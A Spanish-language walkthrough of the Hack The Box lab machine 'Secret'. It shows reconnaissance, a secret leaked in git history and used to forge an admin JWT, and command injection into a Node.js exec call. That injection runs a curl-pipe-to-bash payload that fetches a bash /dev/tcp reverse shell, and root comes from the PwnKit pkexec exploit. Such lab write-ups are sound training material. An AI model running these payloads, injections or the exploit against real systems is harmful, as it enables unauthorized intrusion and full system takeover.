Máquina Secret Hack the Box
Realizamos un reconocimiento de los servicios que está corriendo la máquina y vemos que tiene el puerto 21 con ftp al parecer, puerto 22 con ssh y puerto 80 con un http y el puerto 3000 con un http
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret]
└──╼ #cat nmap
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: nmap
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.92 scan initiated Fri Feb 4 18:13:14 2022 as: nmap -sCV -p22,80,3000 -oN nmap 10.10.11.120
2 │ Nmap scan report for 10.10.11.120
3 │ Host is up (0.082s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
7 │ | ssh-hostkey:
8 │ | 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
9 │ | 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
10 │ |_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
11 │ 80/tcp open http nginx 1.18.0 (Ubuntu)
12 │ |_http-title: DUMB Docs
13 │ |_http-server-header: nginx/1.18.0 (Ubuntu)
14 │ 3000/tcp open http Node.js (Express middleware)
15 │ |_http-title: DUMB Docs
16 │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17 │
18 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19 │ # Nmap done at Fri Feb 4 18:13:29 2022 -- 1 IP address (1 host up) scanned in 15.77 seconds
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Primero vamos a revisar el servicio http para ver con que nos encontramos y vemos una página web llamada DUMb Docs
Dentro de ella vemos unos pasos que son para crear un jwt con unos datos que le enviemos
Vamos a realizar los pasos que tenemos para crearnos nuestro jwt, lo primero que nos dice es que debemos consumir la página en el puerto 3000 en /api/user/register, y cargar un archivo Json, con el metodo POST, para realizar esto lo vamos a hacer con la herramienta curl, nos creamos nuestro archivo y nos dice que si todo sale bien nos va a devolver un mensaje que diga “user”: “angussmoody” vamos a ver la forma de mandar un archivo por medio de curl y nos encontramos con este artículo
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret]
└──╼ #cat register.json
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: register.json
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ {
2 │ "name": "angussmoody",
3 │ "email": "angussmoody@dasith.works",
4 │ "password": "angussmoody123*"
5 │ }
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Enviamos nuestra petición y vemos que nos devuelve el mensaje con el usuario
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret]
└──╼ #curl -X POST -H "Content-Type: application/json" -d @register.json "http://10.10.11.120:3000/api/user/register"; echo
{"user":"angussmoody"}
Ahora vamos a pasar a la parte de login, nos dice que debemos enviar un json con el email y el password en /api/user/login
Nos creamos nuestro archivo en json y nos dice que si todo sale bien, nos entregará un token
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret]
└──╼ #cat login.json
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: login.json
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ {
2 │ "email": "angussmoody@dasith.works",
3 │ "password": "angussmoody123*"
4 │ }
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
corremos el comando con el curl y vemos que nos entrega un token
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret]
└──╼ #curl -X POST -H "Content-Type: application/json" -d @login.json "http://10.10.11.120:3000/api/user/login"; echo
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWZkZTFiMDdhMzdmOTA0NjVkOTMwYjgiLCJuYW1lIjoiYW5ndXNzbW9vZHkiLCJlbWFpbCI6ImFuZ3Vzc21vb2R5QGRhc2l0aC53b3JrcyIsImlhdCI6MTY0NDAyODgwN30.wzhR0uTJleJIGJ46gRPvuueXpEAXESQVXx1zl-zcDIU
Revisamos ese token y nos dice que no tiene asignature
Continuando con la pagina nos dice que existe un directorio llamado /priv así que vamos a probar nuestro token en este directorio
Nos envía un access Denied
Al probar con nuestro token tenemos el mismo resultado
entonces debemos tratar de encontrar un token de administrador, volviendo a la página nos descargamos un archivo que esta nos brinda
Así que pasamos a buscar en estos archivos algo que nos pueda ayudar a tener los permisos de administrador, descomprimimos el archivo y nos entrega un directorio llamado local-web
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file]
└──╼ #ll
Permissions Size User Date Modified Name
.rwxrwxrwx 28M angussmoody 4 feb 19:55 files.zip
drwxrwxrwx - angussmoody 3 sep 2021 local-web
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file]
└──╼ #ll local-web/
Permissions Size User Date Modified Name
.rwxrwxrwx 885 angussmoody 3 sep 2021 index.js
drwxrwxrwx - angussmoody 12 ago 2021 model
drwxrwxrwx - angussmoody 12 ago 2021 node_modules
.rwxrwxrwx 69k angussmoody 12 ago 2021 package-lock.json
.rwxrwxrwx 491 angussmoody 12 ago 2021 package.json
drwxrwxrwx - angussmoody 3 sep 2021 public
drwxrwxrwx - angussmoody 3 sep 2021 routes
drwxrwxrwx - angussmoody 12 ago 2021 src
.rwxrwxrwx 651 angussmoody 12 ago 2021 validations.js
Dentro del directorio routes nos encontramos con un archivo llamado llamado private.js donde vemos un usuario llamado theadmin con una descripción
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file/local-web]
└──╼ #cat routes/private.js
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: routes/private.js
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ const router = require('express').Router();
2 │ const verifytoken = require('./verifytoken')
3 │ const User = require('../model/user');
4 │
5 │ router.get('/priv', verifytoken, (req, res) => {
6 │ // res.send(req.user)
7 │
8 │ const userinfo = { name: req.user }
9 │
10 │ const name = userinfo.name.name;
11 │
12 │ if (name == 'theadmin'){
13 │ res.json({
14 │ creds:{
15 │ role:"admin",
16 │ username:"theadmin",
17 │ desc : "welcome back admin,"
18 │ }
19 │ })
20 │ }
21 │ else{
22 │ res.json({
23 │ role: {
24 │ role: "you are normal user",
25 │ desc: userinfo.name.name
26 │ }
27 │ })
28 │ }
29 │ })
30 │
31 │
32 │ router.get('/logs', verifytoken, (req, res) => {
33 │ const file = req.query.file;
34 │ const userinfo = { name: req.user }
35 │ const name = userinfo.name.name;
36 │
37 │ if (name == 'theadmin'){
38 │ const getLogs = `git log --oneline ${file}`;
39 │ exec(getLogs, (err , output) =>{
40 │ if(err){
41 │ res.status(500).send(err);
42 │ return
43 │ }
44 │ res.json(output);
45 │ })
46 │ }
47 │ else{
48 │ res.json({
49 │ role: {
50 │ role: "you are normal user",
51 │ desc: userinfo.name.name
52 │ }
53 │ })
54 │ }
55 │ })
56 │
57 │ router.use(function (req, res, next) {
58 │ res.json({
59 │ message: {
60 │
61 │ message: "404 page not found",
62 │ desc: "page you are looking for is not found. "
63 │ }
64 │ })
65 │ });
66 │
67 │
68 │ module.exports = router
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
En el directorio routes no escontramos también con un archivo llamado auth.js donde nos dice como crea el token y que valida los datos _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET, donde TOKEN_SECRET debe ser la firma de éste
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file/local-web]
└──╼ #cat routes/auth.js
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: routes/auth.js
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ const router = require('express').Router();
2 │ const User = require('../model/user');
3 │ const bcrypt = require('bcryptjs')
4 │ const jwt = require('jsonwebtoken')
5 │ const { registerValidation, loginValidation} = require('../validations')
6 │
7 │ router.post('/register', async (req, res) => {
8 │
9 │ // validation
10 │ const { error } = registerValidation(req.body)
11 │ if (error) return res.status(400).send(error.details[0].message);
12 │
13 │ // check if user exists
14 │ const emailExist = await User.findOne({email:req.body.email})
15 │ if (emailExist) return res.status(400).send('Email already Exist')
16 │
17 │ // check if user name exist
18 │ const unameexist = await User.findOne({ name: req.body.name })
19 │ if (unameexist) return res.status(400).send('Name already Exist')
20 │
21 │ //hash the password
22 │ const salt = await bcrypt.genSalt(10);
23 │ const hashPaswrod = await bcrypt.hash(req.body.password, salt)
24 │
25 │
26 │ //create a user
27 │ const user = new User({
28 │ name: req.body.name,
29 │ email: req.body.email,
30 │ password:hashPaswrod
31 │ });
32 │
33 │ try{
34 │ const saveduser = await user.save();
35 │ res.send({ user: user.name})
36 │
37 │ }
38 │ catch(err){
39 │ console.log(err)
40 │ }
41 │
42 │ });
43 │
44 │
45 │ // login
46 │
47 │ router.post('/login', async (req , res) => {
48 │
49 │ const { error } = loginValidation(req.body)
50 │ if (error) return res.status(400).send(error.details[0].message);
51 │
52 │ // check if email is okay
53 │ const user = await User.findOne({ email: req.body.email })
54 │ if (!user) return res.status(400).send('Email is wrong');
55 │
56 │ // check password
57 │ const validPass = await bcrypt.compare(req.body.password, user.password)
58 │ if (!validPass) return res.status(400).send('Password is wrong');
59 │
60 │
61 │ // create jwt
62 │ const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
63 │ res.header('auth-token', token).send(token);
64 │
65 │ })
66 │
67 │ router.use(function (req, res, next) {
68 │ res.json({
69 │ message: {
70 │
71 │ message: "404 page not found",
72 │ desc: "page you are looking for is not found. "
73 │ }
74 │ })
75 │ });
76 │
77 │ module.exports = router
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Despues de buscar un rato vamos al directorio .git para ver los logs que tiene con: log Muestra los logs de los commits
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #la
Permissions Size User Date Modified Name
drwxrwxrwx - angussmoody 3 sep 2021 branches
.rwxrwxrwx 38 angussmoody 8 sep 2021 COMMIT_EDITMSG
.rwxrwxrwx 92 angussmoody 3 sep 2021 config
.rwxrwxrwx 73 angussmoody 3 sep 2021 description
.rwxrwxrwx 23 angussmoody 3 sep 2021 HEAD
drwxrwxrwx - angussmoody 3 sep 2021 hooks
.rwxrwxrwx 463k angussmoody 8 sep 2021 index
drwxrwxrwx - angussmoody 3 sep 2021 info
drwxrwxrwx - angussmoody 3 sep 2021 logs
drwxrwxrwx - angussmoody 8 sep 2021 objects
drwxrwxrwx - angussmoody 3 sep 2021 refs
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #git --help
uso: git [--version] [--help] [-C <ruta>] [-c <nombre>=<valor>]
[--exec-path[=<ruta>]] [--html-path] [--man-path] [--info-path]
[-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare]
[--git-dir=<ruta>] [--work-tree=<ruta>] [--namespace=<nombre>]
<comando> [<args>]
Estos son comandos comunes de Git usados en varias situaciones:
comienza un área de trabajo (ver también: git help tutorial)
clone Clona un repositorio dentro de un nuevo directorio
init Crea un repositorio de Git vacío o reinicia el que ya existe
trabaja en los cambios actuales (ver también: git help everyday)
add Agrega contenido de carpetas al índice
mv Mueve o cambia el nombre a archivos, directorios o enlaces simbólicos
restore Restaurar archivos de árboles de trabajo
rm Borra archivos del árbol de trabajo y del índice
sparse-checkout Inicializa y modifica el sparse-checkout
examina el historial y el estado (ver también: git help revisions)
bisect Use la búsqueda binaria para encontrar el commit que introdujo el bug
diff Muestra los cambios entre commits, commit y árbol de trabajo, etc
grep Imprime las líneas que concuerdan con el patron
show Muestra varios tipos de objetos
status Muestra el estado del árbol de trabajo
crece, marca y ajusta tu historial común
branch Lista, crea, o borra ramas
commit Graba los cambios en tu repositorio
merge Junta dos o más historiales de desarrollo juntos
rebase Vuelve a aplicar commits en la punta de otra rama
reset Reinicia el HEAD actual a un estado especifico
switch Cambiar branches
tag Crea, lista, borra o verifica un tag de objeto firmado con GPG
colabora (mira también: git help workflows)
fetch Descarga objetos y referencias de otro repositorio
pull Realiza un fetch e integra con otro repositorio o rama local
push Actualiza referencias remotas junto con sus objetos asociados
'git help -a' y 'git help -g' listan los subcomandos disponibles y algunas
guías de concepto. Consulte 'git help <command>' o 'git help <concepto>'
para leer sobre un subcomando o concepto específico.
Mira 'git help git' para una vista general del sistema.
ejecutamos el comando y vemos unas notas de los commit
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:29:19 2021 +0530
added /downloads
commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:27:35 2021 +0530
removed swap
commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:26:39 2021 +0530
added downloads
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:25:52 2021 +0530
first commit
(END)
Ahora con el comando show podemos ver estos commit y vemos que en uno de ellos se cambió el TOKEN_SECRET
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #git show e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
diff --git a/routes/private.js b/routes/private.js
index 1347e8c..cf6bf21 100644
--- a/routes/private.js
+++ b/routes/private.js
@@ -11,10 +11,10 @@ router.get('/priv', verifytoken, (req, res) => {
if (name == 'theadmin'){
res.json({
- role:{
-
- role:"you are admin",
- desc : "{flag will be here}"
+ creds:{
+ role:"admin",
+ username:"theadmin",
+ desc : "welcome back admin,"
}
})
}
@@ -26,7 +26,32 @@ router.get('/priv', verifytoken, (req, res) => {
}
})
}
+})
+
+router.get('/logs', verifytoken, (req, res) => {
+ const file = req.query.file;
+ const userinfo = { name: req.user }
+ const name = userinfo.name.name;
+
+ if (name == 'theadmin'){
+ const getLogs = `git log --oneline ${file}`;
+ exec(getLogs, (err , output) =>{
+ if(err){
+ res.status(500).send(err);
+ return
+ }
+ res.json(output);
+ })
+ }
+ else{
+ res.json({
+ role: {
+ role: "you are normal user",
+ desc: userinfo.name.name
+ }
+ })
+ }
})
router.use(function (req, res, next) {
@@ -40,4 +65,4 @@ router.use(function (req, res, next) {
});
-module.exports = router
\ No newline at end of file
+module.exports = router
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file/local-web/.git]
└──╼ #git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
Ya con estos datos podemos tratar de generar un token valido con los datos que nos dice en el archivo routes/auth.js, podemos los datos del usuario administrador que encontramos y vamos a poner el TOKEN_SECRET
Al modificarlo vamos a probar el token para ver si nos devuelve algo exitoso
Lo probamos en el burp como hicimos con nuestro token y nos devuelve un 200 ok
ya en este punto tenemos un token valido, ahora debemos buscar una forma de escalar o tener una shell, dentro del archivo private que vimos anteriormente vemos que está haciendo un llamado en /logs y vemos que llama a una variable file
32 │ router.get('/logs', verifytoken, (req, res) => {
33 │ const file = req.query.file;
34 │ const userinfo = { name: req.user }
35 │ const name = userinfo.name.name;
36 │
37 │ if (name == 'theadmin'){
38 │ const getLogs = `git log --oneline ${file}`;
39 │ exec(getLogs, (err , output) =>{
40 │ if(err){
41 │ res.status(500).send(err);
42 │ return
43 │ }
44 │ res.json(output);
45 │ })
46 │ }
47 │ else{
48 │ res.json({
49 │ role: {
50 │ role: "you are normal user",
51 │ desc: userinfo.name.name
52 │ }
53 │ })
54 │ }
55 │ })
56 │
57 │ router.use(function (req, res, next) {
58 │ res.json({
59 │ message: {
60 │
61 │ message: "404 page not found",
62 │ desc: "page you are looking for is not found. "
63 │ }
64 │ })
65 │ });
Así que vamos a tratar de llamar este directorio y vemos que nos devuelve un mensaje
Vamos a llamar la variable y ver si nos trae algo y tratamos de ejecucar un comando, pero vemos que directamente no nos trae nada
Así que vamos a probar como en otras máquinas tratando de ejecutar algún comando poniendo un punto y coma antes para realizar otro comando y vemos que ya estamos ejecutando comandos, así que vamos a tratar de tener una reverse shell en nuestro equipo
En https://weibell.github.io/reverse-shell-generator/ podemos generar una reverse shell con bash y podemos ejecutarla de varias maneras, pero para este ejemplo vamos a crear un archivo en bash en nuestra máquina y tratamos de ejecutala con curl
Ahora nos creamos un archivo con esta reverse shell
y encodeamos la petición en urlencode
Nos creamos un servicio web en donde tenemos nuestro archivo
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret]
└──╼ #cat rev.sh
───────┬─────────────────────────────────────────────────────────────────────
│ File: rev.sh
───────┼─────────────────────────────────────────────────────────────────────
1 │ bash -i >& /dev/tcp/10.10.14.139/443 0>&1
───────┴─────────────────────────────────────────────────────────────────────
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret]
└──╼ #python3 -m http.server 80
Ponemos nuestra máquina a la escucha
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/File/local-web/.git]
└──╼ #nc -nlvp 443
listening on [any] 443 ...
y realizamos una petición por curl para ejecutar nuestro comando encodeado
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret/file/local-web]
└──╼ #curl -v -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWZkZTFiMDdhMzdmOTA0NjVkOTMwYjgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRoZWFkbWluQGRhc2l0aC53b3JrcyJ9.K2fiX8ai7BImNycQHMDjwd_TudCK7T6sTJeBHSzfpSA" "http://10.10.11.120/api/logs?file=;curl+http%3A%2F%2F10.10.14.139%2Frev.sh+%7C+bash";echo
* Trying 10.10.11.120:80...
* Connected to 10.10.11.120 (10.10.11.120) port 80 (#0)
> GET /api/logs?file=;curl+http%3A%2F%2F10.10.14.139%2Frev.sh+%7C+bash HTTP/1.1
> Host: 10.10.11.120
> User-Agent: curl/7.74.0
> Accept: */*
> auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWZkZTFiMDdhMzdmOTA0NjVkOTMwYjgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRoZWFkbWluQGRhc2l0aC53b3JrcyJ9.K2fiX8ai7BImNycQHMDjwd_TudCK7T6sTJeBHSzfpSA
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 Internal Server Error
< Server: nginx/1.18.0 (Ubuntu)
< Date: Sat, 05 Feb 2022 04:20:03 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 105
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"69-arz5VOTSEpuFprM2d67tJcixaeo"
<
* Connection #0 to host 10.10.11.120 left intact
{"killed":false,"code":1,"signal":null,"cmd":"git log --oneline ;curl http://10.10.14.139/rev.sh | bash"}
y de esta manera tenemos nuestra Reverse Shell
Vamos a ver que archivos tienen permisos SUID y vemos que tenemos el binario pkexec, así que vamos a probar el cvs que salió hace poco para escalar privilegios https://github.com/ly4k/PwnKit
dasith@secret:~/local-web$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign
dasith@secret:~/local-web$
Nos descargamos el binario
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret]
└──╼ #curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
┌─[root@angussmoody]─[/mnt/angussMoody/Machines/Secret]
└──╼ #ll PwnKit
Permissions Size User Date Modified Name
.rwxrwxrwx 14k angussmoody 4 feb 23:29 PwnKit
Y no lo pasamos a nuestra máquina victima y nos descargamos el binario
dasith@secret:/tmp$ wget http://10.10.14.139:8000/Pwnkit
wget http://10.10.14.139:8000/Pwnkit
--2022-02-05 04:36:12-- http://10.10.14.139:8000/Pwnkit
Connecting to 10.10.14.139:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14688 (14K) [application/octet-stream]
Saving to: ‘Pwnkit’
Pwnkit 100%[===================>] 14.34K --.-KB/s in 0.08s
2022-02-05 04:36:12 (180 KB/s) - ‘Pwnkit’ saved [14688/14688]
dasith@secret:/tmp$ chmod +x Pwnkit
chmod +x Pwnkit
dasith@secret:/tmp$ ./Pwnkit
./Pwnkit
root@secret:/tmp# whoami && id && hostname
whoami && id && hostname
root
uid=0(root) gid=0(root) groups=0(root),1000(dasith)
secret